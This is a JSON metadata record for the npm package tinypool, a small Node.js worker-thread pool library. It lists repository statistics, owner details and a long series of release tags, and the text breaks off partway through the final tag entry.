{"id":2465303,"name":"tinypool","ecosystem":"npm","description":"A minimal and tiny Node.js Worker Thread Pool implementation, a fork of piscina, but with fewer features","homepage":"https://github.com/tinylibs/tinypool#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/tinylibs/tinypool","keywords_array":["fast","worker threads","thread pool"],"namespace":null,"versions_count":40,"first_release_published_at":"2021-12-17T06:55:23.016Z","latest_release_published_at":"2026-09-13T11:03:40.535Z","latest_release_number":"2.2.0","last_synced_at":"2026-10-07T01:16:34.050Z","created_at":"2022-04-10T02:10:47.335Z","updated_at":"2026-10-07T17:19:08.302Z","registry_url":"https://www.npmjs.com/package/tinypool","install_command":"npm install tinypool","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.2.0"},"contentPolicy":null},"repo_metadata":{"id":37705162,"uuid":"438746453","full_name":"tinylibs/tinypool","owner":"tinylibs","description":"🧵 A minimal and tiny Node.js Worker Thread Pool implementation (38KB)","archived":false,"fork":false,"pushed_at":"2026-09-13T11:02:41.000Z","size":1404,"stargazers_count":1598,"open_issues_count":8,"forks_count":52,"subscribers_count":8,"default_branch":"main","last_synced_at":"2026-10-03T21:08:10.840Z","etag":null,"topics":["fast","hacktoberfest","minimal","nodejs","performance","pooling","tiny","tinylibs","worker-threads","workers"],"latest_commit_sha":null,"homepage":"https://npmjs.com/package/tinypool","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"piscinajs/piscina","license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tinylibs.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"open_collective":"aslemammad","github":["aslemammad"]}},"created_at":"2021-12-15T19:19:32.000Z","updated_at":"2026-09-29T05:34:57.000Z","dependencies_parsed_at":"2026-09-14T04:46:46.622Z","dependency_job_id":null,"html_url":"https://github.com/tinylibs/tinypool","commit_stats":{"total_commits":269,"total_committers":32,"mean_commits":8.40625,"dds":0.6951672862453532,"last_synced_commit":"ec78ce94b6621a0c1234fd5aec1a1400981a31ce"},"previous_names":["aslemammad/tinypool"],"tags_count":39,"template":false,"template_full_name":null,"purl":"pkg:github/tinylibs/tinypool","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tinylibs","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343072799,"owners_count":37995645,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-04T02:00:06.888Z","response_time":127,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"tinylibs","name":"Tinylibs","uuid":"96288308","kind":"organization","description":"A place for tiny and minimal libraries","email":null,"website":"https://tinylibs.github.io/","location":"Turkey","twitter":"aslemammadam","company":null,"icon_url":"https://avatars.githubusercontent.com/u/96288308?v=4","repositories_count":10,"last_synced_at":"2024-03-25T20:46:53.699Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/tinylibs","funding_links":[],"total_stars":2881,"followers":198,"following":0,"created_at":"2022-11-02T16:36:14.351Z","updated_at":"2024-03-25T20:46:56.726Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tinylibs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tinylibs/repositories"},"tags":[{"name":"v2.2.0","sha":"2ed306417986823e7a7989fd392e9cbfeee1b0c1","kind":"tag","published_at":"2026-09-13T11:02:40.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v2.2.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.2.0/manifests"},{"name":"v2.1.2","sha":"5e18382a9aaa3344035905384b18a88a9da8c8bb","kind":"tag","published_at":"2026-08-23T15:01:36.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v2.1.2","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"4b5229a1cf6512989738676a6bcb247879be3298","kind":"tag","published_at":"2026-08-23T14:25:00.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v2.1.1","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"abc247f85cba0309e3f1e5655db1837a2a1c2483","kind":"tag","published_at":"2026-01-03T07:37:48.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v2.1.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"40b4b3eb926dabfbfd3d0a7e3d1222d4dd1c0d2d","kind":"tag","published_at":"2025-08-30T08:43:43.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v2.0.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v2.0.0/manifests"},{"name":"v1.1.1","sha":"565655f8c8956b3779f54671e6679b07f08ea3ee","kind":"tag","published_at":"2025-06-16T17:16:51.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v1.1.1","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"a1d50e8f5f0a95e5e8337db4749d09022a22857e","kind":"tag","published_at":"2025-05-31T06:15:10.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v1.1.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.1.0/manifests"},{"name":"v1.0.2","sha":"ec78ce94b6621a0c1234fd5aec1a1400981a31ce","kind":"tag","published_at":"2024-11-14T14:48:44.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v1.0.2","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"1f5c56e1a046e4907f06a5b3e1b7dadecb929adf","kind":"tag","published_at":"2024-08-19T06:22:00.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v1.0.1","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"bb1c3507b0a47af63696780ba7729c07aba52ff0","kind":"tag","published_at":"2024-06-03T16:07:35.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v1.0.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v1.0.0/manifests"},{"name":"v0.9.0","sha":"ea05a00c86d10465674b6747538c7b18902bd5ae","kind":"tag","published_at":"2024-05-09T17:00:23.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.9.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.9.0/manifests"},{"name":"v0.8.4","sha":"f86e82927371b54ba26577d818b86393ccf902c2","kind":"tag","published_at":"2024-04-15T05:14:57.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.8.4","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.4/manifests"},{"name":"v0.8.3","sha":"c045ecfda880202b8a1d4a581ed286c91d9b423f","kind":"tag","published_at":"2024-03-25T18:04:22.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.8.3","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"6ca7bb480a9d0c54dac04eaab5e6523d300f1791","kind":"tag","published_at":"2024-01-18T14:29:00.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.8.2","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"a5b666924a6dda428d38341d79404c953b2f2b8a","kind":"tag","published_at":"2023-09-11T02:30:19.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.8.1","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"c5386d6029dd185a835c19a359040c7854a2c891","kind":"tag","published_at":"2023-08-16T13:54:31.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.8.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"6286b8126d9e418d9ff4d07df46fa54c5c8e2f87","kind":"tag","published_at":"2023-07-05T20:45:02.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.7.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"1b6ca55257ba4f784d485c20055e6abaae937516","kind":"tag","published_at":"2023-06-28T20:42:45.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.6.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.6.0/manifests"},{"name":"v0.5.0","sha":"5ebac6185c4fdb64cc4c0a36367640098b6f3ccb","kind":"tag","published_at":"2023-04-18T02:44:54.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.5.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.5.0/manifests"},{"name":"v0.4.0","sha":"69512a11a91705fef9ca9dad0297d4f7c94f068f","kind":"tag","published_at":"2023-03-17T20:11:07.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.4.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"8c4b581634fbb6005f3516935b43baa3adce90eb","kind":"tag","published_at":"2023-01-26T21:54:29.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.3.1","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"2129c6e43f589a41841fb7e0d337bde8da94a676","kind":"tag","published_at":"2022-08-31T05:03:15.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.3.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"e16c918dd186f7e028d33129a97764c81b665025","kind":"tag","published_at":"2022-07-16T12:12:52.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.2.4","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"2c42dfe7a4bcb178b28ac520d2d4fb3da87355cf","kind":"tag","published_at":"2022-07-15T07:16:41.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.2.3","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.3/manifests"},{"name":"v0.2.2","sha":"9783b07708fb0a21641e51a4bcb9c39321f4c1ae","kind":"tag","published_at":"2022-07-05T17:31:27.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.2.2","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"ffed11a55bc35931dfde10f6be4c7cf9c6f78a41","kind":"tag","published_at":"2022-06-24T08:02:09.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.2.1","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"4534ab43ce47a1e50d5fae5439afd5de1d81565f","kind":"tag","published_at":"2022-06-23T03:16:55.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.2.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.2.0/manifests"},{"name":"v0.1.3","sha":"f89283def5166e211cc9f855cdba6c3b0060a186","kind":"tag","published_at":"2022-04-26T05:46:57.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.1.3","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.1.3/manifests"},{"name":"v0.1.2","sha":"cccab00d6e5445e21ef30aeee165fd067f648ee7","kind":"tag","published_at":"2022-02-08T20:58:26.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.1.2","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.1.2/manifests"},{"name":"v0.1.1","sha":"81917ae815b038c19c48c80d1e8ff843d0b1c50c","kind":"tag","published_at":"2022-01-04T16:49:19.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.1.1","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"d1dfe5397edec275d861294099a734ee38fb74bd","kind":"tag","published_at":"2022-01-03T17:26:36.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.1.0","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.1.0/manifests"},{"name":"v0.0.8","sha":"67d9d3f894e0dd6d7b01653eeea3c6124315e068","kind":"tag","published_at":"2022-01-03T17:23:33.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.0.8","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.8/manifests"},{"name":"v0.0.7","sha":"4af6344c66c98a6e42ba53457030bc84d539aeee","kind":"tag","published_at":"2021-12-30T18:59:14.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.0.7","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.7/manifests"},{"name":"v0.0.6","sha":"69734b39ecaf39d843bba3479193a90f152cbf3e","kind":"tag","published_at":"2021-12-24T09:43:10.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.0.6","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"7c3c3de3dba0fe8742fa60088771afcb9c10f616","kind":"tag","published_at":"2021-12-21T15:27:17.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.0.5","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"21f1a578bcc439c4e6a719f848f1a5863c887e7b","kind":"tag","published_at":"2021-12-21T14:11:48.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.0.4","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"3ac3a2077fe0974b3a305dddd9b55228666f1689","kind":"tag","published_at":"2021-12-17T08:41:01.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.0.3","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"8622d145fca1302e908a89dd27c77a1432753ce7","kind":"tag","published_at":"2021-12-17T08:31:00.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.0.2","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"